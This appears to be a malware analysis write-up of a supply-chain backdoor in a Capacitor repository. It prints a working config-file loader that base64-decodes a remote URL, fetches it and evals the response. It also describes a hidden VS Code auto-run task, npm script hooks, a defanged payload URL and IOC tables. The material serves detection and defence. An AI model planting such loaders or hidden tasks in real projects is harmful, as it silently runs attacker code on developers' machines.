Four Ways a Repo Runs Code: The Capacitor 'Auth Error' Loader
A file named capacitor.config.ts fetches a base64-encoded URL out of an environment variable, evaluates the response, and reports every failure as Auth Error!. It is 28 lines long. A correct one is 14.
The file reached a public repository the way most of this decade’s supply-chain problems do: inside a commit that had nothing to do with it. The commit is titled docs: replace generic architecture diagram with real one, and it carries roughly four thousand lines of FontAwesome font assets. The loader, the environment key, a hidden editor task, and a 29 KB obfuscated module sit in the same diff.
Two months earlier, the same repository had removed that exact loader. Three months before that, it had scrubbed the environment key. Nothing shipped in a package registry at any point, so no lockfile, advisory, or version range describes what happened.
TL;DR
- A Capacitor config file is TypeScript that the Capacitor CLI imports on every
sync,open, andrun. It is code, and it runs before the app does. - The loader reads a URL from
process.env.AUTH_API_KEY, decodes it withatob, fetches it, and passes the response toeval. No domain appears in the source. - One affected repository contains four independent paths to the same payload: a
folderOpenVS Code task, thedevandbuildnpm scripts, the config import, and a 31 KB obfuscatedinitmodule. - Every failure is caught and printed as
Auth Error!. A dead command server looks like a failed login. - The repository had already removed this loader on 2026-08-18. It returned on 2026-10-18.
- Stage two,
https[://]files.catbox[.]moe/e8jt91.js, now returns 404. The dropper remains in place. - The public reporting around this sample attributes it to a state actor. The artifact does not support that claim, and no indicator list has been published.
The file that is not a config
Capacitor projects keep a capacitor.config.ts at the repository root. The CLI resolves it at startup, so the file executes whenever a developer synchronises, opens, or runs the Android or iOS project.
The malicious version imports dotenv/config on line three. That import runs before any other statement in the file, which means the payload fires without a build step, without a test, and without the developer touching application code.
import 'dotenv/config';
(async () => {
const src = atob(process.env.AUTH_API_KEY);
const { createRequire } = await import('module');
const require = createRequire(import.meta.url);
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo);
} catch (err) {
console.error('Auth Error!', err);
}
})();
Three choices carry the trick.
The first is the container. A configuration file is read as data by every reviewer and every diff viewer. Nobody audits capacitor.config.ts for control flow, because there is not supposed to be any.
The second is the indirection. The command server address is not in the file. It is base64 in .env, decoded at runtime. A reviewer who greps the diff for http finds nothing.
The third is the error handler. console.error('Auth Error!', err) prints a message that belongs to an authentication flow. When the fetch fails, when the environment variable is missing, when node-fetch is not installed, the developer sees an auth complaint from a mobile app. The natural response is to check credentials.
Four ways in
The same repository shows the loader is not a single trick but one layer of a delivery chain. All of it arrived in one commit.
open repo in VS Code ──► hidden folderOpen task ──► node fa-brand-400.orc ─┐
npm run dev / build ──► node init ───────────────────────────────────────┼──► stage 2
npx cap sync/open/run ──► import capacitor.config.ts ─────────────────────┘
The editor task. .vscode/tasks.json defines a task labelled eslint-check with "runOn": "folderOpen", "hide": true, and "reveal": "never". Its command runs node against a file named fa-brand-400.orc, stored inside a public/fonts/ directory next to genuine FontAwesome assets. The paired .vscode/settings.json sets "task.allowAutomaticTasks": true, which suppresses the prompt that would otherwise ask the user to approve automatic tasks.
The npm scripts. package.json gained a prefix on two scripts: "dev": "node init && vite" and "build": "node init && tsc && vite build". The obfuscated module is 31,236 bytes and exports a plausible init function, so the file reads like project plumbing.
The config import. Any Capacitor CLI command evaluates the loader described above.
The module import. init is a valid CommonJS module. Any require('./init') in the project, or any tool that imports it, runs the same obfuscated body.
Each path is individually deniable. Together they cover the three actions a developer performs on an unfamiliar repository: open it, install it, run it.
Why the disguise holds
| Attacker choice | Defender assumption it defeats |
|---|---|
| Payload in a config file | “Config is data, source is code” |
Import-time execution via dotenv/config |
“The build will show me what runs” |
| Address supplied by a base64 environment variable | “I grepped the diff for URLs” |
| Failure printed as an auth error | “I would notice a malware error” |
| Hidden task with automatic approval enabled | “VS Code asks before running tasks” |
Obfuscated module named init |
“An unfamiliar file would stand out” |
The last row is the one that matters most in practice. Neither init nor fa-brand-400.orc contains a readable string. Both use a rotated string table with arithmetic-built indices, so a static read yields no domains, no paths, and no commands.
The payload
Stage two no longer resolves. https[://]files.catbox[.]moe/e8jt91.js returns HTTP 404 as of 2026-10-28. Catbox is a legitimate file hosting service; the deleted object is the only malicious element there.
A 404 does not disarm the delivery. The loader still runs on every Capacitor command, and the editor task still fires when the folder opens. The threat actor only has to upload a new object and update one environment value to restore execution, and that update does not require a commit to the application code.
The two obfuscated modules were not decompiled for this analysis. Static inspection confirms they contain no plaintext indicators and that they load through require, which gives them the module system and therefore the ability to spawn processes.
The fix that came back
The repository’s own commit history is the part worth reading twice.
| Date | Commit | Event |
|---|---|---|
| 2026-07-11 | chore: remove sensitive AUTH_API_KEY from environment file |
The environment key is scrubbed and .env is added to .gitignore |
| 2026-08-18 | fix: remove injected remote-eval backdoor from capacitor.config.ts |
Fourteen lines deleted; the commit message explains the atob / node-fetch / eval chain and notes that neither node-fetch nor dotenv is a declared dependency |
| 2026-10-18 | docs: replace generic architecture diagram with real one |
The loader, the environment key, the editor task, the 29 KB .orc file, init, and the npm script prefixes all return |
The August removal was correct and complete. The October commit put everything back while adding font assets, a README rewrite, and an unrelated .env change.
An organisation that scans a repository once, or reviews a pull request once, has no control here. The malicious state was absent for two months and then present again, in a commit whose message describes documentation.
Linkage evidence
The same loader appeared in a second repository within the same week. That repository is a large, actively developed mobile project, and it was cleaned within hours of the sample being noticed. The blame view that circulated publicly is from that second repository.
What links the two samples:
- The loader body is the same, including the
atob(process.env.AUTH_API_KEY)construction, thecreateRequire(import.meta.url)preamble, thenode-fetchproxy, and the'Auth Error!'catch string. - Both hide execution behind a file the project treats as configuration rather than code.
- Both obfuscate the second stage into a module with a plausible project name.
What the available evidence does not establish: a single threat actor. No shared command server is observable, because the only known object is deleted. No shared certificate, no shared publishing account, and no shared build artefact ties the two repositories together. The loader is a pattern that spreads by copy as easily as by direction.
The public claim that this is North Korean activity is not supported by anything in the artifact. The technique overlaps with documented campaigns that use developer tooling and remote fetch-and-evaluate stages. Neither element is exclusive to any actor, and attribution at that level needs evidence that is not public.
Outlook
Config-file execution will increase because the incentive is structural. Every framework with a typed configuration file at the repository root inherits the same property: the file executes, reviewers read it as data, and the registry that hosts the package never inspects it.
Editor tasks are the quieter problem. A .vscode/tasks.json with runOn: folderOpen runs on open, and the paired setting that disables the approval prompt ships in the same commit. Cloning a repository is enough. Installing nothing is enough.
Expect the same shape in other wrappers: next.config.js, vite.config.ts, jest.config.js, tsconfig.json with plugins, and any file a build tool imports for you.
What defenders can do
Treat repository-root configuration as executable code and review changes to it as carefully as changes to main.
- Review
.vscode/,.env, and every*.config.*file in a pull request. A commit that touches them alongside documentation or assets deserves a second read. - Keep
task.allowAutomaticTasksdisabled in user settings, and treat any repository that sets it as hostile until proven otherwise. - Read
scriptsinpackage.jsonon every update. A prefix likenode init &&is a change to whatnpm run buildmeans. - Disable
dotenvauto-loading in build tooling where the project does not need it. - Recheck a repository after a remediation. A fix is a state, not a control.
The general principle: a repository is an execution environment, not a document. Opening it is an action with consequences, and the consequences are decided by files nobody thinks of as code.
IOCs
Behavioural
| Pattern | Detail |
|---|---|
| Config import loader | capacitor.config.ts containing atob(process.env.AUTH_API_KEY) and eval of a fetched response |
| Editor auto-run | .vscode/tasks.json with "runOn": "folderOpen", "hide": true, "reveal": "never" |
| Approval suppression | .vscode/settings.json with "task.allowAutomaticTasks": true |
| Script prefix | package.json scripts beginning node <name> && |
| Masqueraded module | Obfuscated JavaScript under public/fonts/ using an unrelated extension (.orc, .eot, .woff) |
| Error camouflage | console.error('Auth Error!', err) in a non-auth code path |
Indicators
| Type | Value | Status |
|---|---|---|
| URL | https[://]files.catbox[.]moe/e8jt91.js |
HTTP 404 on 2026-10-28 |
| Environment value | AUTH_API_KEY = base64 of the URL above |
— |
| File | capacitor.config.ts, SHA-256 c88a2204c0900a621b05b91c32ab2844e17165916eadf4230039f718e0c49723 |
979 bytes |
| File | fa-brand-400.orc, SHA-256 1835d0aa55d6589cecac33aa1a494d76b8ce33632674f18e16b9278edbf3053a |
29,474 bytes |
| File | init |
31,236 bytes, obfuscated |